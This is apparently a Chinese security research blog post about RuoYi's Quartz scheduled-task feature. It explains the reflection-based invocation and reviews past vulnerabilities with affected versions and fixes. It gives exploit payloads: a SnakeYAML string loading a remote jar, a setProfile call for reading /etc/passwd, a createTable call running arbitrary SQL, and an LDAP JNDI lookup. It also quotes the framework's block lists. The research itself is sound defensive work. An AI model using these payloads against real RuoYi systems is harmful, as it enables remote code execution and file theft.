Ruoyi定时任务攻击梳理

入口点

ruoyi使用了quartz来完成对定时任务的处理

新增定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 新增定时任务
*/
@PreAuthorize("@ss.hasPermi('monitor:job:add')")
@Log(title = "定时任务", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody SysJob job) throws SchedulerException, TaskException
{
if (!CronUtils.isValid(job.getCronExpression()))
{
return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap'调用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS }))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规");
}
job.setCreateBy(getUsername());
return toAjax(jobService.insertJob(job));
}

执行定时任务

1
2
3
4
5
6
7
8
9
10
11
/**
* 定时任务立即执行一次
*/
@PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')")
@Log(title = "定时任务", businessType = BusinessType.UPDATE)
@PutMapping("/run")
public AjaxResult run(@RequestBody SysJob job) throws SchedulerException
{
jobService.run(job);
return AjaxResult.success();
}

首先要了解一下quartz库是干嘛的

Quartz官方文档_w3cschool

quartz库

需要理解三个概念即可

  • Scheduler调度器,用来调度线程等大方向规划
  • Trigger触发器,定义任务执行的时间规则
  • job定义任务的具体逻辑

demo1

创建具体的逻辑类

需要重写execute方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class HelloJob implements Job {

@Override
public void execute(JobExecutionContext context) throws JobExecutionException {
//从容器中动态获取变量,由调度器和定时器创建时传入
Object tv1 = context.getTrigger().getJobDataMap().get("t1");
Object tv2 = context.getTrigger().getJobDataMap().get("t2");
Object jv1 = context.getJobDetail().getJobDataMap().get("j1");
Object jv2 = context.getJobDetail().getJobDataMap().get("j2");
Object sv = null;
try {
sv = context.getScheduler().getContext().get("skey");
} catch (SchedulerException e) {
e.printStackTrace();
}
System.out.println(tv1+":"+tv2);
System.out.println(jv1+":"+jv2);
System.out.println(sv);
System.out.println("hello:"+LocalDateTime.now());
}

}

创建Scheduler和Trigger来调度这个job

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Test {

public static void main(String[] args) throws SchedulerException {

//创建一个scheduler
Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();
scheduler.getContext().put("skey", "svalue");

//创建一个Trigger
Trigger trigger = TriggerBuilder.newTrigger()
.withIdentity("trigger1", "group1")//唯一标识符
.usingJobData("t1", "tv1")//在链式调用时向容器中存入名为t1的变量
.withSchedule(SimpleScheduleBuilder.simpleSchedule().withIntervalInSeconds(3)//三秒执行一次
.repeatForever()).build();
trigger.getJobDataMap().put("t2", "tv2");//在非链式调用中压入变量

//创建一个job
JobDetail job = JobBuilder.newJob(HelloJob.class)
.usingJobData("j1", "jv1")
.withIdentity("myjob", "mygroup").build();//唯一标识符
job.getJobDataMap().put("j2", "jv2");

//注册trigger并启动scheduler
scheduler.scheduleJob(job,trigger);
scheduler.start();

}

}

每三秒执行一次

image-20250728161432826

ruoyi对quartz的封装

job的增删差改的总操作被封装在了SysJobServiceImpl,先仔细阅读这个类可以更好理解下面的实现

字符串到代码执行

ruoyi对quartz的封装程度还是很高的,因为ruoyi的后台是想实现让管理员直接在ui界面输入定时任务要执行的代码,而不是让管理员再打开idea然后自己去实现一个Job的接口,所以这会用到反射

我们还是从Controller开始审计,先看对我们上waf的代码,这里可以看到是检测了我们的InvokeTarget()

1
2
3
4
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap'调用");
}

也是比较通俗易懂,这个变量实际就是我们execute要执行的东西

image-20250728170142585

包括我们的cronExpression,也就是用来配置我们的trigger的表达式

我们全局搜索一下invokeTarger就不难搜到,我们的字符串在一个函数被通过反射的方式执行了代码

image-20250728170320299

我们倒推回去,看看是哪里调用了这个方法

一个是非并发执行,一个是并发执行

image-20250728170404114

这个doExecute是显得非常眼熟了,因为他就是我们demo1提到的execute的重写,我们可以看看他的父类接口实际上就是job

image-20250728170543190

然后他肯定是会重写execute来调用我们的doExecute

image-20250728170626129

这样就实现了从字符串->代码执行的实现

定时任务的持久化

实际上是用了mybatis作映射把定时任务的信息都存在了sys_job表里面

image-20250728172223750

映射的xml语句可以看到对应的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.tk.quartz.mapper.SysJobMapper">

<resultMap type="SysJob" id="SysJobResult">
<id property="jobId" column="job_id" />
<result property="jobName" column="job_name" />
<result property="jobGroup" column="job_group" />
<result property="invokeTarget" column="invoke_target" />
<result property="cronExpression" column="cron_expression" />
<result property="misfirePolicy" column="misfire_policy" />
<result property="concurrent" column="concurrent" />
<result property="status" column="status" />
<result property="createBy" column="create_by" />
<result property="createTime" column="create_time" />
<result property="updateBy" column="update_by" />
<result property="updateTime" column="update_time" />
<result property="remark" column="remark" />
</resultMap>

<sql id="selectJobVo">
select job_id, job_name, job_group, invoke_target, cron_expression, misfire_policy, concurrent, status, create_by, create_time, remark
from sys_job
</sql>

<select id="selectJobList" parameterType="SysJob" resultMap="SysJobResult">
<include refid="selectJobVo"/>
<where>
<if test="jobName != null and jobName != ''">
AND job_name like concat('%', #{jobName}, '%')
</if>
<if test="jobGroup != null and jobGroup != ''">
AND job_group = #{jobGroup}
</if>
<if test="status != null and status != ''">
AND status = #{status}
</if>
<if test="invokeTarget != null and invokeTarget != ''">
AND invoke_target like concat('%', #{invokeTarget}, '%')
</if>
</where>
</select>

<select id="selectJobAll" resultMap="SysJobResult">
<include refid="selectJobVo"/>
</select>

<select id="selectJobById" parameterType="Long" resultMap="SysJobResult">
<include refid="selectJobVo"/>
where job_id = #{jobId}
</select>

<delete id="deleteJobById" parameterType="Long">
delete from sys_job where job_id = #{jobId}
</delete>

<delete id="deleteJobByIds" parameterType="Long">
delete from sys_job where job_id in
<foreach collection="array" item="jobId" open="(" separator="," close=")">
#{jobId}
</foreach>
</delete>

<update id="updateJob" parameterType="SysJob">
update sys_job
<set>
<if test="jobName != null and jobName != ''">job_name = #{jobName},</if>
<if test="jobGroup != null and jobGroup != ''">job_group = #{jobGroup},</if>
<if test="invokeTarget != null and invokeTarget != ''">invoke_target = #{invokeTarget},</if>
<if test="cronExpression != null and cronExpression != ''">cron_expression = #{cronExpression},</if>
<if test="misfirePolicy != null and misfirePolicy != ''">misfire_policy = #{misfirePolicy},</if>
<if test="concurrent != null and concurrent != ''">concurrent = #{concurrent},</if>
<if test="status !=null">status = #{status},</if>
<if test="remark != null and remark != ''">remark = #{remark},</if>
<if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
update_time = now()
</set>
where job_id = #{jobId}
</update>

<insert id="insertJob" parameterType="SysJob" useGeneratedKeys="true" keyProperty="jobId">
insert into sys_job(
<if test="jobId != null and jobId != 0">job_id,</if>
<if test="jobName != null and jobName != ''">job_name,</if>
<if test="jobGroup != null and jobGroup != ''">job_group,</if>
<if test="invokeTarget != null and invokeTarget != ''">invoke_target,</if>
<if test="cronExpression != null and cronExpression != ''">cron_expression,</if>
<if test="misfirePolicy != null and misfirePolicy != ''">misfire_policy,</if>
<if test="concurrent != null and concurrent != ''">concurrent,</if>
<if test="status != null and status != ''">status,</if>
<if test="remark != null and remark != ''">remark,</if>
<if test="createBy != null and createBy != ''">create_by,</if>
create_time
)values(
<if test="jobId != null and jobId != 0">#{jobId},</if>
<if test="jobName != null and jobName != ''">#{jobName},</if>
<if test="jobGroup != null and jobGroup != ''">#{jobGroup},</if>
<if test="invokeTarget != null and invokeTarget != ''">#{invokeTarget},</if>
<if test="cronExpression != null and cronExpression != ''">#{cronExpression},</if>
<if test="misfirePolicy != null and misfirePolicy != ''">#{misfirePolicy},</if>
<if test="concurrent != null and concurrent != ''">#{concurrent},</if>
<if test="status != null and status != ''">#{status},</if>
<if test="remark != null and remark != ''">#{remark},</if>
<if test="createBy != null and createBy != ''">#{createBy},</if>
now()
)
</insert>

</mapper>

这些方法实际上就是存在刚刚提到的SysJobServiceImpl类里面

所以每次调用的时候都会从中获取我们的invokeTarget字符串来实现定时任务的持久化

入口点的漏洞利用

反射调用的具体实现

想要传入正确的invokeTarget字符串,还得认真看看我们的字符串是怎么被反射调用的,回到刚刚找到的具体实现JobInvokeUtil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 执行方法
*
* @param sysJob 系统任务
*/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);

if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}

首先是beanName看看是如何被获取的

1
2
3
4
5
public static String getBeanName(String invokeTarget)
{
String beanName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringBeforeLast(beanName, ".");//最后一个.号前的字符串
}

也就是比较简单,就是取(前的字符然后再取.前的字符

比如a.b('xx')就会取到a

再看methodName是怎么被取到的

1
2
3
4
5
public static String getMethodName(String invokeTarget)
{
String methodName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringAfterLast(methodName, ".");//最后一个.号后的字符串
}

比如a.b('xx')就会取到b

下面的getMethodParams肯定就比较容易知道了

比如我们传入Runtime.exec('calc')在没有任何waf的情况下肯定是会执行的

我们可以直接对着接口创建一个试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /monitor/job HTTP/1.1
Host: 127.0.0.1:18812
isToken: false
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjZhZTY5NDIzLTM0OWQtNGZiNC1iZmUwLWQ1ZGYwMjY1MTg2NyJ9.eIdPnVJ2EEdNtLcr_LIAuZRNoasWKbPEzClap82tP3v-tc0tMaGnkfwltpLsHiOSxfgiusF39BPwuEWgD_cuiA
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Referer: http://localhost/login?redirect=%2Findex
sec-ch-ua-mobile: ?0
Accept: application/json, text/plain, */*
Origin: http://localhost
sec-ch-ua-platform: "Windows"
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Content-Type: application/json

{"jobName":"calc","invokeTarget":"Runtime.exec('calc')","cronExpression":"0/3 * * * * ?"}

可以看到确实是可以写入表的

image-20250729105447450

但是在run的时候会报错说Runtime这个bean不存在

image-20250729105519353

我们定位到报错的地方,也就是根据bean的名字取bean的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/** Spring应用上下文环境 */
private static ConfigurableListableBeanFactory beanFactory;

private static ApplicationContext applicationContext;

@Override
public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException
{
SpringUtils.beanFactory = beanFactory;
}

@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException
{
SpringUtils.applicationContext = applicationContext;
}

/**
* 获取对象
*
* @param name
* @return Object 一个以所给名字注册的bean的实例
* @throws org.springframework.beans.BeansException
*
*/
@SuppressWarnings("unchecked")
public static <T> T getBean(String name) throws BeansException
{
return (T) beanFactory.getBean(name);
}

也就是说我们的Runtime是没有被注入到spring-boot的上下文中的

所以到这里就比较清晰了,我们已经可以实现了任意类任意方法(任意已经注入spring环境的类),只要找到可以利用的类即可

实际上后面发现他也可以不走getbean的方法直接反射调用

也就是这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    public static boolean isValidClassName(String invokeTarget)
{
return StringUtils.countMatches(invokeTarget, ".") > 1;//只要有两个.以上就不会走getbean
}

if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}

但是如果传入的是java.lang.Runtime.exec(‘calc’)
会因为exec是一个private的方法所以不能调用

image-20250729112152310

版本问题说明

因为ruoyi的版本比较多,有前后端分离版本,有纯后端版本等等

image-20250729110255954

这里只做RuoYi后端和RuoYi-Vue的定时任务研究,因为他们在对quartz的封装几乎一致,至于其他版本还没看过

去找可利用的类

根据上面我们可以知道,我们要么用全名直接去反射调用,要么通过匿名去在spring上下文去找类,既然可以使用全名直接去反射调用就没必要去spring上下文取了,最重要的是要调用的可利用方法必须不是private的

通过依赖分析,或者一些工具的遍历,都可以有效地去找出可以利用的危险类

历史漏洞梳理

黑名单和白名单的设置位于ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java通过这个文件的历史版本可以更好定位漏洞的位置还有影响的版本

snakeyaml注入RCE

版本

RuoYi版本<=4.6.2

RuoYi-Vue版本<3.7

修复点

具体是因为snakeyaml导致的http(s)注入,我们在代码历史可以找到修复的记录

image-20250729113422820

https://github.com/artsploit/yaml-payload

EXP

1
{"jobName":"snakey","invokeTarget":"org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [%22http://xxx.xx.xx.x:2333/yaml-payload.jar%22]]]]')","cronExpression":"0/3 * * * * ?"}

ruoYiConfig.setProfile任意文件读取

也是一个cve,CVE-2023-27025

版本

RuoYi版本<=4.7.6

RuoYi-Vue版本<3.8.6

修复点

找到4.7.7对ScheduleUtils.java的更新

image-20250729142425375

实际上就是上了黑名单和白名单,可以点进去看看这个黑名单和白名单到4.7.7版本都有什么

1
2
3
4
5
6
7
8
9
10
/**
* 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加)
*/
public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };

/**
* 定时任务违规的字符
*/
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml",
"org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };

实际上就包含了刚刚上面提到的snakeyaml注入RCE

EXP

实际上这是配合Commom下的下载文件代码一起打的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    /**
* 本地资源通用下载
*/
@GetMapping("/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
try
{
if (!FileUtils.checkAllowDownload(resource))
{
throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource));
}
// 本地资源路径
String localPath = RuoYiConfig.getProfile();
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}
}

这里的getProfile()就是设置本地路径的地方

传入invokeTarget即可

1
ruoYiConfig.setProfile('/etc/passwd')

sql类漏洞

genTableServiceImpl执行任意sql语句导致RCE

版本

RuoYi版本<=4.7.8

RuoYi-Vue<3.8.8(不太确定),因为这里的修改和RuoYi的修改差别很大,这里直接把白名单修改为com.ruoyi.quartz.task

修复点

RuoYi的修复,增加黑名单

image-20250729145902100

这是Ruoyi-Vue的修复,缩小白名单

image-20250729145655988

所以缩小到task?最后还不是要让管理员编程定时任务吗,不太懂

EXP

实际上就是使用com.ruoyi.generator.service.impl.GenTableServiceImpl的createTable来执行任意sql语句从而改变invokeTarget来绕过黑白名单的检测

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')
1
javax.naming.InitialContext.lookup('ldap://xxxxx')

sql注入

在一些比较古早的资料发现定时任务在插入或者查询的时候,在Mapper的xml中是有用${}的,具体也是比较早的版本了,只要看看Mapper就可以发现,不做研究了